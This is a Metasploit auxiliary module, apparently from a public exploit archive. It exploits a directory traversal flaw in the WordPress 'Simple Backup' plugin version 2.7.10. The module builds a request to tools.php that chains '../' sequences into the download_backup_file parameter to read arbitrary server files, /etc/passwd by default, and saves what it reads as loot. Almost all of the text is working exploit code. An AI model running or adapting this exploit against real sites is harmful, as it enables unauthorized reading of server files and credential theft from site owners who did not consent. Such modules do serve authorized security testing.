WordPress Simple Backup File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Simple Backup File Read Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in WordPress Plugin  
"Simple Backup" version 2.7.10, allowing to read arbitrary files with the  
web server privileges.  
},  
'References' =>  
[  
['WPVDB', '7997'],  
['PACKETSTORM', '131919']  
],  
'Author' =>  
[  
'Mahdi.Hidden', # Vulnerability Discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])  
])  
end  
  
def check  
check_plugin_version_from_readme('simple-backup', '2.7.11')  
end  
  
def run_host(ip)  
traversal = '../' * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(wordpress_url_backend, 'tools.php'),  
'vars_get' =>  
{  
'page' => 'backup_manager',  
'download_backup_file' => "#{traversal}#{filename}"  
}  
)  
  
unless res && res.body  
vprint_error("Server did not respond in an expected way.")  
return  
end  
  
if res.code == 200 &&  
res.body.length > 0 &&  
res.headers['Content-Disposition'] &&  
res.headers['Content-Disposition'].include?('attachment; filename') &&  
res.headers['Content-Length'] &&  
res.headers['Content-Length'].to_i > 0  
  
vprint_line("#{res.body}")  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'simplebackup.traversal',  
'text/plain',  
ip,  
res.body,  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
vprint_error("Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.")  
end  
end  
end  
`